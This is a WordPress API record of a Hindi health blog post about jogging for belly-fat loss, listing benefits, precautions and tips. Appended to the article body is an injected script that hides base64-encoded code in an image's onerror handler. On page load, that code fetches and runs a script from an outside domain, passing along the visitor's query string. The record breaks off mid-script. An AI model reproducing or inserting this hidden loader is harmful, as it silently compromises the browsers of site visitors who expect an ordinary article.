{"id":765,"date":"2022-01-14T13:47:51","date_gmt":"2022-01-14T08:17:51","guid":{"rendered":"https:\/\/tvhealth.in\/hindi\/?p=765"},"modified":"2025-08-18T22:46:06","modified_gmt":"2025-08-18T17:16:06","slug":"how-jogging-reduce-belly-fat","status":"publish","type":"post","link":"https:\/\/tvhealth.in\/hindi\/how-jogging-reduce-belly-fat\/","title":{"rendered":"\u091c\u0949\u0917\u093f\u0902\u0917 \u0938\u0947 \u092a\u0947\u091f \u0915\u0940 \u091a\u0930\u094d\u092c\u0940 \u0915\u0948\u0938\u0947 \u0915\u092e \u0939\u094b\u0924\u0940 \u0939\u0948"},"content":{"rendered":"<h2 style=\"text-align: left;\">\u092a\u0947\u091f \u0915\u0940 \u091a\u0930\u094d\u092c\u0940 \u0915\u0948\u0938\u0947 \u0915\u092e \u0939\u094b\u0924\u0940 \u0939\u0948<\/h2>\n<p style=\"text-align: justify;\">\u0906\u091c \u0915\u0947 \u0938\u092e\u092f \u092e\u0947\u0902 \u0935\u091c\u0928 \u0915\u092e \u0915\u0930\u0928\u093e \u0907\u0938\u0932\u093f\u090f \u091c\u0930\u0942\u0930\u0940 \u0939\u0948 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\u0906\u092a\u0915\u094b \u091c\u0949\u0917\u093f\u0902\u0917 \u0938\u0947 \u091c\u0941\u0921\u093c\u0940 \u0915\u0941\u091b \u091c\u0930\u0942\u0930\u0940 \u092c\u093e\u0924\u0947\u0902 \u092c\u0924\u093e\u090f\u0902\u0917\u0947\u0964<\/p>\n<figure id=\"attachment_1991\" aria-describedby=\"caption-attachment-1991\" style=\"width: 600px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-1991 size-full\" title=\"\u092a\u0947\u091f \u0915\u0940 \u091a\u0930\u094d\u092c\u0940 \u0915\u0948\u0938\u0947 \u0915\u092e \u0939\u094b\u0924\u0940 \u0939\u0948\" src=\"https:\/\/tvhealth.in\/hindi\/wp-content\/uploads\/2022\/01\/woman-2592247.jpg\" alt=\"\u092a\u0947\u091f \u0915\u0940 \u091a\u0930\u094d\u092c\u0940 \u0915\u0948\u0938\u0947 \u0915\u092e \u0939\u094b\u0924\u0940 \u0939\u0948\" width=\"600\" height=\"450\" \/><figcaption id=\"caption-attachment-1991\" class=\"wp-caption-text\">\u092a\u0947\u091f \u0915\u0940 \u091a\u0930\u094d\u092c\u0940 \u0915\u0948\u0938\u0947 \u0915\u092e \u0939\u094b\u0924\u0940 \u0939\u0948<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">\u0935\u091c\u0928 \u0918\u091f\u093e\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f \u0921\u093e\u0907\u091f \u0915\u0947 \u0938\u093e\u0925 \u0935\u091c\u0928 \u0918\u091f\u093e\u0928\u0947 \u0915\u0947 \u090f\u0915\u094d\u0938\u0930\u0938\u093e\u0907\u091c \u0915\u0930\u0928\u093e \u092d\u0940 \u091c\u0930\u0942\u0930\u0940 \u0939\u0948\u0964 \u092c\u0939\u0941\u0924 \u0938\u0947 \u0932\u094b\u0917 \u092e\u093e\u0928\u0924\u0947 \u0939\u0948\u0902 \u0915\u093f \u0930\u0928\u093f\u0902\u0917 \u092f\u093e \u091c\u0949\u0917\u093f\u0902\u0917 \u0915\u0930\u0928\u0947 \u0938\u0947 \u0935\u091c\u0928 \u0918\u091f\u093e\u092f\u093e \u091c\u093e \u0938\u0915\u0924\u093e \u0939\u0948\u0964 \u0935\u0939\u0940\u0902 \u0915\u0941\u091b \u0936\u094b\u0927\u094b\u0902 \u0938\u0947 \u092a\u0924\u093e \u091a\u0932\u093e \u0939\u0948 \u0915\u093f \u092e\u094b\u091f\u093e\u092a\u0947 \u0915\u094b \u0928\u093f\u092f\u0902\u0924\u094d\u0930\u093f\u0924 \u0915\u0930\u0928\u093e \u0928\u093f\u092f\u092e\u093f\u0924 \u091c\u0949\u0917\u093f\u0902\u0917 \u0938\u092c\u0938\u0947 \u0905\u091a\u094d\u091b\u0940 \u090f\u0915\u094d\u0938\u0930\u0938\u093e\u0907\u091c \u092e\u093e\u0928\u0940 \u0917\u0908 \u0939\u0948\u0964 \u0907\u0938\u0915\u0947 \u0905\u0932\u093e\u0935\u093e \u091f\u0939\u0932\u0928\u093e, \u0921\u093e\u0902\u0938 \u0915\u0930\u0928\u093e \u0914\u0930 \u092f\u094b\u0917 \u0938\u0947 \u092d\u0940 \u0924\u0947\u091c\u0940 \u0935\u091c\u0928 \u0918\u091f\u093e\u092f\u093e \u091c\u093e \u0938\u0915\u0924\u093e \u0939\u0948, \u0932\u0947\u0915\u093f\u0928 \u091a\u094c\u0915\u093e\u0928\u0947 \u0935\u093e\u0932\u0940 \u092c\u093e\u0924 \u092f\u0947 \u0939\u0948 \u0915\u093f \u0915\u0908 \u0936\u094b\u0927 \u0915\u0939\u093e \u0917\u092f\u093e \u0939\u0948 \u0915\u093f, \u0938\u094d\u0935\u0940\u092e\u093f\u0902\u0917, \u0938\u093e\u0907\u0915\u093f\u0932\u093f\u0902\u0917 \u0914\u0930 \u0938\u094d\u091f\u094d\u0930\u0947\u091a\u093f\u0902\u0917 \u091c\u0948\u0938\u0940 \u090f\u0915\u094d\u0938\u0930\u0938\u093e\u0907\u091c \u092e\u094b\u091f\u093e\u092a\u0947 \u0915\u094b \u0930\u094b\u0915\u0928\u0947 \u092e\u0947\u0902 \u0915\u093e\u0930\u0917\u0930 \u0928\u0939\u0940\u0902 \u0939\u094b\u0924\u0940 \u0939\u0948\u0964<\/p>\n<p style=\"text-align: justify;\">\u092f\u0926\u093f \u0906\u092a \u0935\u091c\u0928 \u0918\u091f\u093e\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f \u092d\u094b\u091c\u0928 \u0915\u0947 \u0938\u093e\u0925 \u0935\u091c\u0928 \u0918\u091f\u093e\u0928\u0947 \u0935\u093e\u0932\u0940 \u090f\u0915\u094d\u0938\u0930\u0938\u093e\u0907\u091c \u092f\u093e \u091c\u0949\u0917\u093f\u0902\u0917 \u0915\u0930\u0947\u0902 \u0924\u094b \u0906\u092a\u0915\u093e \u0935\u091c\u0928 \u0924\u0947\u091c\u0940 \u0938\u0947 \u0915\u092e \u0939\u094b \u0938\u0915\u0924\u093e \u0939\u0948\u0964 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\u0935\u091c\u0928 \u0918\u091f\u093e\u0928\u093e \u091a\u093e\u0939\u0924\u0947 \u0939\u0948\u0902 \u0914\u0930 \u0936\u0930\u0940\u0930 \u0915\u093e \u090f\u0915\u094d\u0938\u091f\u094d\u0930\u093e \u092b\u0948\u091f \u0915\u092e \u0915\u0930\u0928\u093e \u091a\u093e\u0939\u0924\u0947 \u0939\u0948\u0902 \u0924\u094b \u0935\u091c\u0928 \u0918\u091f\u093e\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f \u091c\u0949\u0917\u093f\u0902\u0917 \u0915\u093e \u0938\u0939\u093e\u0930\u0947 \u0932\u0947 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964 \u0924\u094b \u091a\u0932\u093f\u090f \u0905\u092c \u0935\u093f\u0938\u094d\u0924\u093e\u0930 \u091c\u093e\u0928\u0924\u0947 \u0939\u0948\u0902 \u091c\u0949\u0917\u093f\u0902\u0917 \u0915\u0947 \u092b\u093e\u092f\u0926\u094b\u0902 \u0915\u0947 \u092c\u093e\u0930\u0947 \u092e\u0947\u0902 \u0914\u0930 \u091c\u0949\u0917\u093f\u0902\u0917 \u0915\u0930\u0928\u0947 \u0915\u0947 \u0915\u094c\u0928 \u0938\u0947 \u0924\u0930\u0940\u0915\u0947 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\u0918\u091f\u093e\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f \u0915\u0930\u0947\u0902 \u091c\u0949\u0917\u093f\u0902\u0917<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">\u092f\u0926\u093f \u0906\u092a \u0928\u0947\u091a\u0941\u0930\u0932 \u0924\u0930\u0940\u0915\u0947 \u0938\u0947 \u0935\u091c\u0928 \u0918\u091f\u0928\u0947 \u0915\u0940 \u0938\u094b\u091a \u0930\u0939\u0947 \u0939\u0948\u0902 \u0924\u094b \u0906\u092a\u0915\u0947 \u0932\u093f\u090f \u091c\u0949\u0917\u093f\u0902\u0917 \u092b\u093e\u092f\u0926\u0947\u092e\u0902\u0926 \u0939\u094b \u0938\u0915\u0924\u0940 \u0939\u0948\u0964 \u0932\u0949\u0928\u094d\u0917 \u0938\u094d\u091f\u0948\u0902\u0921\u093f\u0917\u0902 \u0915\u093e\u0930\u094d\u0921\u093f\u092f\u094b \u0915\u0930\u0928\u0947 \u0938\u0947 \u0915\u0948\u0932\u094b\u0930\u0940 \u092c\u0930\u094d\u0928 \u0939\u094b\u0924\u0940 \u0939\u0948 \u0914\u0930 \u0935\u091c\u0928 \u0915\u092e \u0939\u094b\u0928\u0947 \u0932\u0917\u0924\u093e \u0939\u0948\u0964 \u0907\u0938\u0915\u0947 \u0905\u0932\u093e\u0935\u093e \u092f\u094b\u0917 \u0915\u0930\u0928\u0947 \u0938\u0947 \u092d\u0940 \u0935\u091c\u0928 \u0918\u091f\u093e\u0928\u0947 \u092e\u0947\u0902 \u092e\u0926\u0926 \u092e\u093f\u0932\u0924\u0940 \u0939\u0948 \u0914\u0930 \u0939\u093e\u0930\u094d\u092e\u094b\u0928\u0932, \u092a\u093e\u091a\u0928 \u0914\u0930 \u0924\u0902\u0924\u094d\u0930\u093f\u0915\u093e \u0924\u0902\u0924\u094d\u0930 \u0915\u0947 \u092c\u0940\u091a \u0938\u0902\u0924\u0941\u0932\u0928 \u092c\u0928\u093e\u090f \u0930\u0916\u0928\u0947 \u0938\u0947 \u092e\u0926\u0926 \u092e\u093f\u0932\u0924\u0940 \u0939\u0948\u0964<\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 20px;\"><a href=\"https:\/\/insul.agvahealthcare.in\/\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-881 size-full\" title=\"Advertising-Web-Banner\" src=\"https:\/\/tvhealth.in\/hindi\/wp-content\/uploads\/2022\/01\/Advertising-Web-Banner-1.jpg\" alt=\"Advertising-Web-Banner\" width=\"1200\" height=\"150\" \/><\/a><\/span><\/p>\n<h3 style=\"text-align: justify;\">\u0915\u094d\u092f\u093e \u0939\u0948\u0902 \u091c\u0949\u0917\u093f\u0902\u0917 \u0915\u0930\u0928\u0947 \u0915\u0947 \u092b\u093e\u092f\u0926\u0947?<\/h3>\n<ol style=\"text-align: justify;\">\n<li>\u091c\u0949\u0917\u093f\u0902\u0917 \u0915\u0930\u0928\u0947 \u0938\u0947 \u0928\u0947\u091a\u0941\u0930\u0932 \u0924\u0930\u0940\u0915\u0947 \u0938\u0947 \u0935\u091c\u0928 \u0915\u092e \u0939\u094b\u0924\u093e \u0939\u0948\u0964<\/li>\n<li>\u0905\u0917\u0930 \u0906\u092a \u0930\u094b\u091c\u093e\u0928\u093e \u091c\u0949\u0917\u093f\u0902\u0917 \u0915\u0930\u0924\u0947 \u0939\u0948\u0902 \u0924\u094b \u0906\u092a\u0915\u094b \u092a\u093e\u091a\u0928 \u0938\u0902\u092c\u0902\u0927\u0940 \u0938\u092e\u0938\u094d\u092f\u093e\u090f\u0902 \u0926\u0942\u0930 \u0939\u094b\u0924\u0940 \u0939\u0948 \u0914\u0930 \u0907\u0938\u0938\u0947 \u092a\u093e\u091a\u0928 \u0924\u0902\u0924\u094d\u0930 \u0938\u0915\u094d\u0930\u093f\u092f\u093e \u0939\u094b\u0924\u093e \u0939\u0948\u0964<\/li>\n<li>\u091c\u0949\u0917\u093f\u0902\u0917 \u0915\u0930\u0928\u0947 \u0938\u0947 \u0939\u092e\u093e\u0930\u0940 \u092c\u0949\u0921\u0940 \u092e\u0947\u0902 \u090a\u0930\u094d\u091c\u093e \u0915\u093e \u0938\u0902\u091a\u093e\u0930 \u0939\u094b\u0924\u093e \u0939\u0948 \u091c\u093f\u0938\u0938\u0947 \u0926\u093f\u0928\u092d\u0930 \u0906\u092a \u0924\u0930\u094b\u0924\u093e\u091c\u093e \u0930\u0939\u0924\u0947 \u0939\u0948\u0902\u0964<\/li>\n<li>\u0938\u093f\u0930\u094d\u092b \u091c\u0949\u0917\u093f\u0902\u0917 \u0915\u0930\u0928\u0947 \u0938\u0947 \u0936\u0930\u0940\u0930 \u0915\u0940 <a href=\"https:\/\/tvhealth.in\/hindi\/how-yoga-is-different-from-exercise-and-running\/\">\u092a\u0942\u0930\u0940 \u090f\u0915\u094d\u0938\u0930\u0938\u093e\u0907\u091c<\/a> \u0939\u094b \u091c\u093e\u0924\u0940 \u0939\u0948 \u0914\u0930 \u0905\u091a\u094d\u091b\u0940 \u0928\u0940\u0902\u0926 \u0906\u0924\u0940 \u0939\u0948, \u091c\u094b \u092c\u0947\u0939\u0924\u0930 \u0924\u0930\u0940\u0915\u0947 \u0938\u0947 \u0938\u094d\u0935\u093e\u0938\u094d\u0925\u094d\u092f \u0915\u0947 \u0932\u093f\u090f \u091c\u0930\u0942\u0930\u0940 \u0939\u0948\u0964<\/li>\n<li>\u091c\u0949\u0917\u093f\u0902\u0917 \u0938\u0947 \u0936\u0930\u0940\u0930 \u0915\u0940 \u092e\u093e\u0902\u0938\u092a\u0947\u0936\u093f\u092f\u093e\u0902 \u0914\u0930 \u0939\u0921\u094d\u0921\u093f\u092f\u093e\u0902 \u092e\u091c\u092c\u0942\u0924 \u0939\u094b\u0924\u0940 \u0939\u0948\u0964<\/li>\n<li>\u091c\u0949\u0917\u093f\u0902\u0917 \u0915\u0930\u0928\u0947 \u0938\u0947 \u092c\u0949\u0921\u0940 \u0915\u093e \u092c\u094d\u0932\u0921 \u0938\u0930\u094d\u0915\u0941\u0932\u0947\u0936\u0928 \u0905\u091a\u094d\u091b\u093e \u0930\u0939\u0924\u093e \u0939\u0948 \u091c\u093f\u0938\u0938\u0947 \u0926\u093f\u0932 \u092e\u091c\u092c\u0942\u0924 \u0939\u094b\u0924\u093e \u0939\u0948\u0964<\/li>\n<\/ol>\n<h3 style=\"text-align: justify;\">\u091c\u0949\u0917\u093f\u0902\u0917 \u0915\u0930\u0924\u0947 \u0938\u092e\u092f \u0930\u0916\u0947\u0902 \u0907\u0928 \u092c\u093e\u0924\u094b\u0902 \u0915\u094b \u0927\u094d\u092f\u093e\u0928<\/h3>\n<figure id=\"attachment_1993\" aria-describedby=\"caption-attachment-1993\" style=\"width: 600px\" class=\"wp-caption aligncenter\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-1993 size-full\" title=\"\u091c\u0949\u0917\u093f\u0902\u0917 \u0915\u0930\u0924\u0947 \u0938\u092e\u092f \u0930\u0916\u0947\u0902 \u0907\u0928 \u092c\u093e\u0924\u094b\u0902 \u0915\u094b \u0927\u094d\u092f\u093e\u0928\" src=\"https:\/\/tvhealth.in\/hindi\/wp-content\/uploads\/2022\/01\/sunset-4382021.jpg\" alt=\"\u091c\u0949\u0917\u093f\u0902\u0917 \u0915\u0930\u0924\u0947 \u0938\u092e\u092f \u0930\u0916\u0947\u0902 \u0907\u0928 \u092c\u093e\u0924\u094b\u0902 \u0915\u094b \u0927\u094d\u092f\u093e\u0928\" width=\"600\" height=\"450\" \/><figcaption id=\"caption-attachment-1993\" class=\"wp-caption-text\">\u091c\u0949\u0917\u093f\u0902\u0917 \u0915\u0930\u0924\u0947 \u0938\u092e\u092f \u0930\u0916\u0947\u0902 \u0907\u0928 \u092c\u093e\u0924\u094b\u0902 \u0915\u094b \u0927\u094d\u092f\u093e\u0928<\/figcaption><\/figure>\n<ul style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\">\u092f\u0926\u093f \u0906\u092a\u0915\u094b \u0915\u094b\u0908 \u092c\u0940\u092e\u093e\u0930\u0940 \u0939\u0948 \u0924\u094b \u091c\u0949\u0917\u093f\u0902\u0917 \u0915\u0930\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f \u0905\u092a\u0928\u0947 \u0921\u0949\u0915\u094d\u091f\u0930 \u0938\u0947 \u0938\u0932\u093e\u0939 \u0932\u0947\u0902\u0964<\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\">\u091c\u0949\u0917\u093f\u0902\u0917 \u0915\u0947 \u0938\u092e\u092f \u0939\u0932\u094d\u0915\u0947 \u0914\u0930 \u0922\u0940\u0932\u0947 \u0915\u092a\u0921\u093c\u0947 \u092a\u0939\u0928\u0947\u0964<\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\">\u091c\u0949\u0917\u093f\u0902\u0917 \u0915\u0947 \u0938\u092e\u092f \u0938\u093e\u0927\u093e\u0930\u0923 \u092a\u093e\u0928\u0940 \u092a\u0940\u0928\u0947 \u0915\u0940 \u091c\u0917\u0939 \u0917\u094d\u0932\u0942\u0915\u094b\u091c \u0915\u0947 \u092a\u093e\u0928\u0940 \u0915\u0940 \u092c\u0949\u091f\u0932 \u0915\u094b \u091c\u0930\u0942\u0930 \u0932\u0947\u0902\u0964<\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\">\u091c\u0949\u0917\u093f\u0902\u0917 \u0915\u0930\u0924\u0947 \u0938\u092e\u092f \u0915\u0926\u092e \u0927\u0940\u0930\u0947-\u0927\u0940\u0930\u0947 \u0939\u0940 \u092c\u0922\u093c\u093e\u090f\u0964<\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\">\u0910\u0938\u0940 \u091c\u0917\u0939 \u091c\u0949\u0917\u093f\u0902\u0917 \u0915\u0930\u0928\u0947 \u0938\u0947 \u092c\u091a\u0947\u0902 \u091c\u0939\u093e\u0902 \u091f\u094d\u0930\u0948\u092b\u093f\u0915 \u0939\u094b, \u091c\u093f\u0938\u0938\u0947 \u0906\u092a \u091c\u0949\u0917\u093f\u0902\u0917 \u0915\u0947 \u0938\u092e\u092f \u0915\u094b\u0908 \u092a\u0930\u0947\u0936\u093e\u0928\u0940 \u0928\u093e \u0939\u094b \u0914\u0930 \u0917\u093e\u0921\u093c\u0940 \u0915\u0947 \u092a\u094d\u0930\u0926\u0942\u0937\u0923 \u0938\u0947 \u092d\u0940 \u092c\u091a\u0947\u0902 \u0930\u0939\u0947\u0964<\/li>\n<\/ul>\n<h4 style=\"text-align: justify;\">\u0915\u0948\u0938\u0947 \u0932\u0947\u0902 \u091c\u0949\u0917\u093f\u0902\u0917 \u0915\u0947 \u092e\u091c\u093c\u0947?<\/h4>\n<ul style=\"text-align: justify;\">\n<li style=\"font-weight: 400;\" aria-level=\"1\">\u0935\u0948\u0938\u0947 \u0924\u094b \u0906\u092a \u091c\u0949\u0917\u093f\u0902\u0917 \u0915\u093f\u0938\u0940 \u092d\u0940 \u0935\u0915\u094d\u0924 \u0915\u0930 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902 \u0932\u0947\u0915\u093f\u0928 \u0938\u092c\u0938\u0947 \u0905\u091a\u094d\u091b\u093e \u0938\u092e\u092f \u0938\u0941\u092c\u0939 \u0915\u093e \u0935\u0915\u094d\u0924 \u092e\u093e\u0928\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964<\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\">\u091c\u0949\u0917\u093f\u0902\u0917 \u0915\u093e \u092e\u091c\u093e \u0906\u092a \u092e\u0928\u094b\u0930\u0902\u091c\u0928 \u0915\u0947 \u0938\u093e\u0925 \u0932\u0947\u0902 \u091c\u0948\u0938\u0947 \u0917\u093e\u0928\u093e \u0938\u0941\u0928\u0947 \u092f\u093e \u0906\u092a\u0928\u0947 \u0915\u093f\u0938\u0940 \u0914\u0930 \u0935\u094d\u092f\u0915\u094d\u0924\u093f \u0915\u0940 \u0915\u0902\u092a\u0928\u0940 \u0932\u0947\u0902\u0964<\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\">\u0906\u092a \u0930\u094b\u091c\u093e\u0928\u093e \u090f\u0915 \u0939\u0940 \u0930\u093e\u0938\u094d\u0924\u0947 \u092a\u0930 \u091c\u0949\u0917\u093f\u0902\u0917 \u0928\u093e \u0915\u0930\u0947\u0902, \u092c\u0932\u094d\u0915\u093f \u0939\u0930 \u0930\u094b\u091c \u0905\u092a\u0928\u093e \u0930\u093e\u0938\u094d\u0924\u093e \u092c\u0926\u0932\u0924\u0947 \u0930\u0939\u0947 \u091c\u093f\u0938\u0938\u0947 \u0906\u092a\u0915\u094b \u0928\u090f \u0930\u093e\u0938\u094d\u0924\u0947 \u092a\u0930 \u091c\u0949\u0917\u093f\u0902\u0917 \u0915\u0930\u0928\u0947 \u0905\u091a\u094d\u091b\u093e \u092e\u0939\u0938\u0942\u0938 \u0939\u094b\u0964<\/li>\n<\/ul>\n<h4 style=\"text-align: justify;\"><span style=\"font-size: 20px;\">\u0928\u093f\u0937\u094d\u0915\u0930\u094d\u0937<\/span><\/h4>\n<p style=\"text-align: justify;\">\u0906\u091c \u0939\u092e\u0928\u0947 TV Health \u0915\u0947 \u0907\u0938 \u0932\u0947\u0916 \u092e\u0947\u0902 \u0906\u092a\u0915\u0940 \u0939\u0947\u0932\u094d\u0925 \u0938\u0947 \u091c\u0941\u0921\u093c\u0940 \u090f\u0915 \u092e\u0939\u0924\u094d\u0935\u092a\u0942\u0930\u094d\u0923 \u091c\u093e\u0928\u0915\u093e\u0930\u0940 \u0926\u0940 \u0939\u0948 \u091c\u0948\u0938\u0947 \u0915\u093f \u091c\u0949\u0917\u093f\u0902\u0917 \u0906\u092a\u0915\u0940 \u0939\u0947\u0932\u094d\u0925 \u0915\u0947 \u0932\u093f\u090f \u0915\u093f\u0924\u0928\u0940 \u091c\u0930\u0942\u0930\u0940 \u0939\u0948 \u0914\u0930 \u0907\u0938\u0915\u0947 \u0915\u094d\u092f\u093e \u092b\u093e\u092f\u0926\u0947 \u0939\u0948\u0902 \u0906\u0926\u093f \u0915\u0947 \u092c\u093e\u0930\u0947 \u092e\u0947\u0902\u0964 \u0938\u093e\u0925 \u0939\u0940 \u0906\u092a\u0915\u094b \u0905\u092a\u0928\u0947 \u0906\u0939\u093e\u0930 \u092a\u0930\u0939\u0947\u091c \u092a\u0930 \u092d\u0940 \u0927\u094d\u092f\u093e\u0928 \u0926\u0947\u0928\u093e \u091c\u0930\u0942\u0930\u0940 \u0939\u0948\u0964 \u0907\u0938\u0915\u0947 \u0905\u0932\u093e\u0935\u093e \u0905\u0917\u0930 \u0906\u092a \u0921\u093e\u092f\u092c\u093f\u091f\u0940\u091c \u0938\u0947 \u091c\u0941\u0921\u093c\u0940 \u091c\u093e\u0928\u0915\u093e\u0930\u0940 \u092a\u093e\u0928\u093e \u091a\u093e\u0939\u0924\u0947 \u0939\u0948\u0902 \u0924\u094b \u0906\u092a \u0939\u092e\u093e\u0930\u0947 TV Health \u0935\u0947\u092c\u0938\u093e\u0907\u091f \u0914\u0930 <a href=\"https:\/\/www.youtube.com\/tvhealth\/featured?sub_confirmation=1\">\u092f\u0942\u091f\u094d\u092f\u0942\u092c \u091a\u0948\u0928\u0932 TV Health<\/a> \u092a\u0930 \u0921\u093e\u092f\u092c\u093f\u091f\u0940\u091c \u0938\u0947 \u091c\u0941\u0921\u093c\u0940 \u091c\u093e\u0928\u0915\u093e\u0930\u0940 \u0932\u0947 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964<\/p>\n<p><script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 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